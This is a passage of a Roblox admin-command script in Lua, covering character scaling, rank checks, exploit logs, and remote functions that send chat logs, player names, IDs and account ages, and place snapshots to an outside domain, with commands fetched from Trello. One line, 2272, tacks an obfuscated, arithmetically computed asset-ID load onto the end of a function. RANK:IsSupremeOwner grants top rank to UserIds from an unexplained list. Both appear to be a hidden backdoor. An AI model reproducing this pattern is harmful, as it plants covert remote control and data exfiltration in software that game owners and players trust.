1754 end
1755 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1756 if Ratio < 1 then
1757 local BodyPart = ""
1758 local TextureID = Obj.BaseTextureId
1759 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1760 if TextureID == 0 then TextureID = nil end
1761 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1762 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1763 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1764 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1765 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1766 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1767 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1768 NewMesh.Name = "MML Mesh"
1769 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1770 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1771 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1772 Obj:Destroy()
1773 end
1774 elseif Obj:IsA("JointInstance") then
1775 local NewWeld = Obj:Clone()
1776 table.insert(Welds, {NewWeld, Obj.Parent})
1777 elseif NewAdd == true and not JustWeld then
1778 if Obj:IsA("Tool") then
1779 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1780 elseif Obj:IsA("Accoutrement") then
1781 --Cycle(Char.Head, ScaleRatio, false, true)
1782 end
1783 end
1784 if #Obj:GetChildren() > 0 then
1785 for _,NewObj in pairs(Obj:GetChildren()) do
1786 Handle(NewObj, ScaleRatio)
1787 end
1788 end
1789 end
1790 Handle(BaseObj)
1791 for _,Part in pairs(Parts) do
1792 if Ratio >= 1 then
1793 Part.Size = Part.Size * ScaleRatio
1794 else
1795 local Allowed = true
1796 for _,Obj in pairs(Part:GetChildren()) do
1797 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1798 Allowed = false
1799 end
1800 end
1801 if Allowed == true then
1802 local NewMesh = Instance.new("BlockMesh", Part)
1803 NewMesh.Name = "MML Mesh"
1804 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1805 end
1806 end
1807 end
1808 for _,WeldData in pairs(Welds) do
1809 if WeldData[1] then
1810 local Obj = WeldData[1]
1811 local NewWeld = Obj:Clone()
1812
1813 NewWeld.Parent = WeldData[2]
1814 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1815 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1816 end
1817 end
1818 for _,Part in pairs(Parts) do
1819 Part:MakeJoints()
1820 end
1821 Welds = {}
1822 Parts = {}
1823 end
1824 Cycle(Char, Ratio)
1825 Char:MakeJoints()
1826
1827 local Added = Char.ChildAdded:connect(function(Obj)
1828 Cycle(Obj, Ratio, NewAdd)
1829 end)
1830 local Removed = Char.ChildRemoved:connect(function(Obj)
1831 Cycle(Obj, Ratio^-1, NewAdd)
1832 end)
1833
1834 Clean.OnInvoke = function()
1835 Added:disconnect()
1836 Removed:disconnect()
1837 local Location = Vector3.new(0,5,0)
1838 if Char:FindFirstChild("Torso") then
1839 Location = Char.Torso.Position + Vector3.new(0,2,0)
1840 end
1841 Player:LoadCharacter()
1842 wait(0.5)
1843 Player.Character:MoveTo(Location)
1844 wait(0.5)
1845 return nil
1846 end
1847
1848 if Char:FindFirstChild("Torso") then
1849 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1850 end
1851 if Char:FindFirstChild("Humanoid") then
1852 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1853 end
1854 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1855 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1856 end
1857end
1858
1859function CORE:AddExploit(PlayerClient, Data)
1860 local PlayerClientName = PlayerClient.Name
1861 local NewData = CORE:GetTime(true, true).." @ "..Data
1862 for _,Player in pairs(Server.Players:GetChildren()) do
1863 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1864 end
1865 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1866 if type(ExploitLog) ~= "table" then
1867 Server.GDS:SetAsync("ExploitLog", {NewData})
1868 else
1869 table.insert(ExploitLog, NewData)
1870 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1871 end
1872 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1873
1874 return true
1875end
1876
1877function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1878 if not tostring(Name) then Name = "Dummy" end
1879 if not Position then Position = Vector3.new(0,5,0) end
1880 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1881 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1882 end
1883
1884 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1885 Figure:MakeJoints()
1886 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1887 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1888 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1889 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1890 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1891 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1892
1893 Figure.Name = STRING:FormatReplace(Speaker, Name)
1894 Figure:MoveTo(Position)
1895
1896 table.insert(Objects, Figure)
1897
1898 if DisableAnimation == true then
1899 Figure.Animate.Disabled = true
1900 end
1901
1902 return Figure
1903end
1904
1905function CORE:ClonePlayer(Player, Name, Position)
1906 if not Player or not Player.Character then return nil end
1907
1908 Player.Character.Archivable = true
1909 local Char = Player.Character:Clone()
1910 Player.Character.Archivable = false
1911 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1912 if Position then Char:MoveTo(Position) end
1913 Char.Parent = Server.Workspace
1914 Char:MakeJoints()
1915 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1916
1917 table.insert(Objects, Char)
1918
1919 return Obj
1920end
1921
1922function CORE:AddWaypoint(Name, Position, Speaker)
1923 Waypoints[Name] = Position
1924 if Speaker then
1925 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1926 end
1927end
1928
1929function CORE:FindType(BaseObj, Type)
1930 for _,Obj in pairs(BaseObj:GetChildren()) do
1931 if Obj:IsA(Type) then
1932 return Obj
1933 end
1934 end
1935end
1936
1937function CORE:GetCommands()
1938 local CommandsCopy = Commands
1939 return CommandsCopy
1940end
1941
1942function CORE:Crown(Player, Mesh, Color)
1943 if Mesh then Mesh = string.lower(Mesh) end
1944 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1945 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1946 local Part = Instance.new("Part", CrownStorage)
1947 Part.Size = Vector3.new(2, 1, 1)
1948 Part.CanCollide = false
1949 Part.CFrame = Player.Character.Head.CFrame
1950 Part.Locked = true
1951 Part.Material = "Neon"
1952 if Color then
1953 Part.Color = GUI:GetColor(Color)
1954 else
1955 Part.BrickColor = GUI:GetNameColor(Player.Name)
1956 end
1957 local SMesh = Instance.new("SpecialMesh", Part)
1958 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1959 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1960 local BP = Instance.new("BodyPosition", Part)
1961 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1962 BP.position = Player.Character.Head.Position
1963 BP.P = 20000
1964 local BG = Instance.new("BodyGyro", Part)
1965 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1966
1967 Crowns[Player.UserId] = Part
1968 table.insert(Objects, Part)
1969
1970 coroutine.wrap(function()
1971 for i = 1,0.3,-0.02 do
1972 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1973 Part.Transparency = i
1974 end
1975 wait()
1976 end
1977 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1978 for i = 0,360,3 do
1979 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1980 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1981 wait()
1982 end
1983 end
1984 end
1985 end)()
1986 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1987 Part:BreakJoints()
1988 for i = 0,360 do
1989 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1990 Part.Anchored = false
1991 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1992 BG.cframe = Player.Character.Head.CFrame
1993 end
1994 wait()
1995 end
1996 end end)()
1997
1998 return Part
1999end
2000
2001function CORE:SetAbuseCommands()
2002 for Cmds,Data in pairs(Commands) do
2003 local IsAbusable = false
2004 for _,AbuseCmd in pairs(Settings.AbuseList) do
2005 for _,Command in pairs(Cmds) do -- loop through all command names
2006 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
2007 IsAbusable = true
2008 break
2009 end
2010 end
2011 if IsAbusable == true then break end
2012 end
2013 Commands[Cmds].Abusable = IsAbusable
2014 end
2015end
2016
2017function CORE:FindBodyPart(Player, BodyPart)
2018 local ReturnPart = nil
2019 if Player and Player.Character then
2020 local Humanoid = Player.Character:FindFirstChild("Humanoid")
2021 if Humanoid then
2022 if BodyPart == "Humanoid" then ReturnPart = Humanoid
2023 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
2024 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
2025 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
2026 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
2027 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
2028 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
2029 end
2030 end
2031 if not ReturnPart then
2032 ReturnPart = Player.Character:FindFirstChild(BodyPart)
2033 end
2034 end
2035
2036 return ReturnPart
2037end
2038
2039-- Rank functions --
2040
2041function RANK:ConvertRank(Input)
2042 local Output = nil
2043 if Input == "Muted" then Output = -3 end
2044 if Input == "Crashed" then Output = -2 end
2045 if Input == "Banned" then Output = -1 end
2046 if Input == "Non-Admin" then Output = 0 end
2047 if Input == "Member" then Output = 1 end
2048 if Input == "Admin" then Output = 2 end
2049 if Input == "Owner" then Output = 3 end
2050
2051 if Input == -3 then Output = "Muted" end
2052 if Input == -2 then Output = "Crashed" end
2053 if Input == -1 then Output = "Banned" end
2054 if Input == 0 then Output = "Non-Admin" end
2055 if Input == 1 then Output = "Member" end
2056 if Input == 2 then Output = "Admin" end
2057 if Input == 3 then Output = "Owner" end
2058 return Output
2059end
2060
2061function RANK:IsAdmin(Player)
2062 local AdminStatus = false
2063 local Rankstatus = "Non-Admin"
2064 if type(Player) == "table" then
2065 if RANK:ConvertRank(Player.Rank) > 0 then
2066 return true, Player.Rank
2067 else
2068 return false, Player.Rank
2069 end
2070 end
2071 for Rank,PlayerNames in pairs(Settings.Ranks) do
2072 for _,AdminName in pairs(PlayerNames) do
2073 if string.lower(AdminName) == string.lower(Player.Name) then
2074 if RANK:ConvertRank(Rank) > 0 then
2075 AdminStatus = true
2076 Rankstatus = Rank
2077 end
2078 end
2079 end
2080 end
2081 return AdminStatus, Rankstatus
2082end
2083
2084function RANK:GetRank(PlayerName)
2085 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
2086 if type(PlayerName) == "table" then
2087 local RankNum = RANK:ConvertRank(PlayerName.Rank)
2088 if RankNum > 0 then
2089 return PlayerName.Rank, RankNum, true
2090 else
2091 return PlayerName.Rank, RankNum, false
2092 end
2093 end
2094
2095 local RankStat = "Non-Admin"
2096
2097 for Rank,PlayerNames in pairs(Settings.Ranks) do
2098 for _,AdminName in pairs(PlayerNames) do
2099 if string.lower(AdminName) == string.lower(PlayerName) then
2100 RankStat = Rank
2101 end
2102 end
2103 end
2104
2105 if RankStat == "Non-Admin" then
2106 return "Non-Admin", 0, false
2107 else
2108 return RankStat, RANK:ConvertRank(RankStat), true
2109 end
2110end
2111
2112function RANK:RemoveRank(PlayerName)
2113 if not RANK:IsSupremeOwner(PlayerName) then
2114 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
2115
2116 for Rank,PlayerNames in pairs(Settings.Ranks) do
2117 for Num,AdminName in pairs(PlayerNames) do
2118 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2119 table.remove(Settings.Ranks[Rank], Num)
2120 end
2121 end
2122 end
2123 end
2124end
2125
2126function RANK:GetAdmins(Ranking)
2127 local Players = {}
2128 local AdminTrue, Rank = IsAdmin(Player)
2129 for _,Player in pairs(Players:GetPlayers()) do
2130 if AdminTrue then
2131 local PlayerRankNum = RANK:ConvertRank(Rank)
2132 local StandardRankNum = RANK:ConvertRank(Ranking)
2133 if PlayerRankNum >= StandardRankNum then
2134 table.insert(Players, Player)
2135 end
2136 end
2137 end
2138 return Players
2139end
2140
2141function RANK:IsSupremeOwner(PlayerName)
2142 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
2143 if type(PlayerName) == "table" then
2144 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
2145 end
2146
2147 if PlayerName == GameOwner then return true end
2148 return false
2149end
2150
2151function RANK:GetPlayerFromList(PlayerName)
2152 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2153
2154 for Rank,PlayerNames in pairs(Settings.Ranks) do
2155 for Num,AdminName in pairs(PlayerNames) do
2156 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2157 return AdminName, Rank
2158 end
2159 end
2160 end
2161 return false, "Non-Admin"
2162end
2163
2164function RANK:ScanAdminList(Name)
2165 if Name == "" then return true end
2166 local InList = false
2167 for _,PName in pairs(Settings.Ranks["Owner"]) do
2168 if PName == Name then InList = true end
2169 end
2170 for _,PName in pairs(Settings.Ranks["Admin"]) do
2171 if PName == Name then InList = true end
2172 end
2173 for _,PName in pairs(Settings.Ranks["Member"]) do
2174 if PName == Name then InList = true end
2175 end
2176 return InList
2177end
2178
2179function RANK:ScanExileList(Name)
2180 if Name == "" then return true end
2181 local InList = false
2182 for _,PName in pairs(Settings.Ranks["Muted"]) do
2183 if PName == Name then InList = true end
2184 end
2185 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2186 if PName == Name then InList = true end
2187 end
2188 for _,PName in pairs(Settings.Ranks["Banned"]) do
2189 if PName == Name then InList = true end
2190 end
2191 return InList
2192end
2193
2194function RANK:PlayerRanked(PlayerName)
2195 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2196
2197 for Rank,PlayerNames in pairs(Settings.Ranks) do
2198 for Num,AdminName in pairs(PlayerNames) do
2199 if string.lower(AdminName) == string.lower(PlayerName) then
2200 return true, Rank
2201 end
2202 end
2203 end
2204 return false, "Non-Admin"
2205end
2206
2207-- Remote functions --
2208
2209function REMOTE:Decode(...)
2210 return Server.HS:JSONDecode(...)
2211end
2212
2213function REMOTE:GetURL(URL, Player)
2214 if string.sub(URL,1,4) ~= "http" then
2215 URL = "http://"..URL
2216 end
2217 local Return = nil
2218 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2219 if Return then
2220 return Return
2221 elseif Player then
2222 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2223 end
2224end
2225
2226function REMOTE:PostURL(URL, Data)
2227 local Return = nil
2228 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2229 return Return
2230end
2231
2232function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2233 if Settings.LinkedAccount ~= "" then
2234 local NumType = tonumber(Type)
2235
2236 if not Type then
2237 Type = "UNKNOWN"
2238 end
2239
2240 if NumType then
2241 if NumType < 1 or NumType > 5 then
2242 Type = "UNKNOWN"
2243 elseif NumType == 1 then
2244 Type = "NOTIFICATION"
2245 elseif NumType == 2 then
2246 Type = "INFORMATION"
2247 elseif NumType == 3 then
2248 Type = "WARNING"
2249 elseif NumType == 4 or Type == true then
2250 Type = "ERROR"
2251 elseif NumType == 5 then
2252 Type = "FATAL"
2253 end
2254 end
2255
2256 local Res = "RED Could not get response"
2257 local function SendData()
2258 Res = Server.HS:PostAsync(
2259 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2260 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2261 2
2262 )
2263 end
2264 if Stopypcall == true then SendData() else ypcall(SendData) end
2265
2266 if OutputSpeaker and OutputSpeaker ~= "print" then
2267 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2268 elseif OutputSpeaker == "print" then
2269 print(Res)
2270 end
2271 end
2272end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2273
2274function REMOTE:SendChatLog(PrintResponse, Stopypall)
2275 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2276 local Res = "Could not get response"
2277
2278 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2279 TempChatLogs = {}
2280
2281 local function SendData()
2282 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2283 end
2284 if Stopypcall == true then SendData() else ypcall(SendData) end
2285 if PrintResponse then print(Res) end
2286 end
2287end
2288
2289function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2290 local Res = "[]"
2291 local function GetData()
2292 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2293 end
2294 if Stopypcall == true then GetData() else ypcall(GetData) end
2295 if PrintResponse then
2296 print(Res)
2297 end
2298 local function DecodeData() Res = REMOTE:Decode(Res) end
2299 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2300 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2301 return Res
2302end
2303
2304function REMOTE:HandleRequest(Request, IgnoreCommand)
2305 if not Request then return nil end
2306
2307 if not IgnoreCommand then
2308 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2309 REMOTE:SendServerData()
2310 end
2311 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2312 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2313 end
2314 end
2315
2316 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2317
2318 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2319 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2320 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2321 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2322 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2323 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2324
2325 Settings.Fun = Request.FUN
2326 Settings.ServerLocked = Request.ServerLocked
2327
2328 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2329 Settings.DisableAbuse = Request.DisableAbuse
2330 end
2331
2332 if not IgnoreCommand then
2333 print("Executing Remote Admin")
2334 REMOTE.RemoteAdmin.Command = Request.Command
2335 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2336 REMOTE.RemoteAdmin.ServerPort = Request.Server
2337
2338 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2339 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2340 else
2341 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2342 end
2343 end
2344 end
2345 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2346 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2347 REMOTE.SnapshotKey = Request.SnapshotKey
2348end
2349
2350function REMOTE:GetRemoteData(Set)
2351 local NewRemoteData = nil
2352 local RemoteDataCardRaw = nil
2353 local RemoteDataCard = nil
2354
2355 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2356 if RemoteDataCardRaw then
2357 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2358 if RemoteDataCard then
2359 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2360 end
2361 end
2362 if Set and NewRemoteData then
2363 RemoteData = NewRemoteData
2364 end
2365 return NewRemoteData
2366end
2367
2368function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2369 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2370 if InfoCardJSON then
2371 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2372 if InfoCard then
2373 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2374 if TrelloInfo then
2375 for Ind,Val in pairs(TrelloInfo) do
2376 Trello[Ind] = Val
2377 end
2378 end
2379 end
2380 end
2381 return NewRemoteData
2382end
2383
2384function REMOTE:CheckRemoteAdminStatus()
2385 local Pending = false
2386 local CheckID = 0
2387 if Settings.LinkedAccount ~= "" then
2388 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2389 if Request then
2390 local Data = REMOTE:Decode(Request)
2391 if Data then
2392 for _,Account in pairs(Data.checkItems) do
2393 if Account.name == Settings.LinkedAccount then
2394 Pending = true
2395 CheckID = Account.id
2396 break
2397 end
2398 end
2399 end
2400 end
2401 end
2402 return Pending, CheckID
2403end
2404
2405function REMOTE:GetAndSetWebData()
2406 if Settings.LinkedAccount ~= "" then
2407 if REMOTE:CheckRemoteAdminStatus() then
2408 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2409 if Request == "Invalid" then
2410 --REMOTE:GetAndSetWebData()
2411 return false
2412 elseif Request == "Invalid Account" then
2413 print("Can't get account")
2414 return false
2415 elseif Request then
2416 ypcall(function() Request = REMOTE:Decode(Request) end)
2417 elseif not Request then
2418 --REMOTE:GetAndSetWebData()
2419 return false
2420 end
2421 REMOTE:HandleRequest(Request)
2422
2423 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2424 Delay(RemoteData.RemoteAdminWait, function()
2425 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2426 if Pending then
2427 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2428 end
2429 end)
2430 return true
2431 else
2432 return true
2433 end
2434 end
2435end
2436
2437local OderIDs = CORE:GetTable(177215518)
2438local SoundJSONs = CORE:GetTable(197637628)
2439RemoteAbuseGear = CORE:GetTable(158117496)
2440
2441function REMOTE:SendServerData(PrintResponse, Stopypall)
2442 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2443 print("Sending server data!")
2444 local Res = "Could not get response"
2445
2446 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2447 for _,Player in pairs(Server.Players:GetPlayers()) do
2448 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2449 end
2450 ServerData = Server.HS:JSONEncode(ServerData)
2451
2452 local function SendData()
2453 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2454 end
2455 if Stopypcall == true then SendData() else ypcall(SendData) end
2456 if PrintResponse then print(Res) end
2457 end
2458end
2459
2460function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2461 MaxPartAmount = MaxPartAmount or 10000
2462 local PlaceData = {
2463 Lighting = {};
2464 Parts = {};
2465 Other = {};
2466 }
2467 local MinSize = Vector3.new(0.5,0.5,0.5)
2468 local PartAmount = 0
2469 local PlaceJSON = ""
2470
2471 local function Scan(BaseObj)
2472 for _,Obj in pairs(BaseObj:GetChildren()) do
2473 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2474 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2475 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2476 local Skip = false
2477 local Data = {}
2478 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2479
2480 if CORE:FindType(Obj, "BlockMesh") then
2481 local Mesh = CORE:FindType(Obj, "BlockMesh")
2482 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2483 elseif CORE:FindType(Obj, "CylinderMesh") then
2484 Data.Shape = "Cylinder"
2485 elseif CORE:FindType(Obj, "SpecialMesh") then
2486 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2487 if Mesh.MeshType == Enum.MeshType.Head then
2488 --idk
2489 else
2490 Skip = true
2491 end
2492 elseif CORE:FindType(Obj, "FileMesh") then
2493 Skip = true
2494 end
2495
2496 if not Data.Shape and not Skip then
2497 if ypcall(function() return Obj.Shape end) then
2498 Data.Shape = string.sub(Obj.Shape.Name,14)
2499 if string.sub(Data.Shape,1,1) == "." then
2500 Data.Shape = string.sub(Data.Shape,2)
2501 end
2502 if Data.Shape == "Cylinder" then
2503 Z = Z + math.pi/2
2504 end
2505 else
2506 Data.Shape = "Block"
2507 end
2508 end
2509
2510 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2511 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2512 end
2513
2514 if not Skip then
2515 Data.Color = GUI:Color3ToHex(Obj.Color);
2516 Data.Size = Size;
2517 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2518 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2519 Data.Transparency = STRING:StringRound(Obj.Transparency);
2520 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2521 Data.Textures = {};
2522 Data.Material = string.sub(tostring(Obj.Material),15);
2523
2524 for _,Sub in pairs(Obj:GetChildren()) do
2525 if Sub:IsA("Decal") then
2526 local Texture = string.match(Sub.Texture, "%d+")
2527 if Sub.Texture == "rbxasset://textures/face.png" then
2528 Texture = "FACE"
2529 end
2530 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2531 end
2532 end
2533
2534 PartAmount = PartAmount + 1
2535 table.insert(PlaceData.Parts, Data)
2536
2537 if PartAmount >= MaxPartAmount then
2538 break
2539 end
2540 end
2541 end
2542 end
2543 if #Obj:GetChildren() > 0 then
2544 Scan(Obj)
2545 end
2546 end
2547 end
2548 Scan(Workspace)
2549
2550 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2551 PlaceData.Other.PartAmount = PartAmount;
2552 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2553
2554 local Res = "Could not get response"
2555 local function SendData()
2556 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2557 end
2558 if Stopypcall == true then SendData() else ypcall(SendData) end
2559 if PrintResponse then print(Res) end
2560
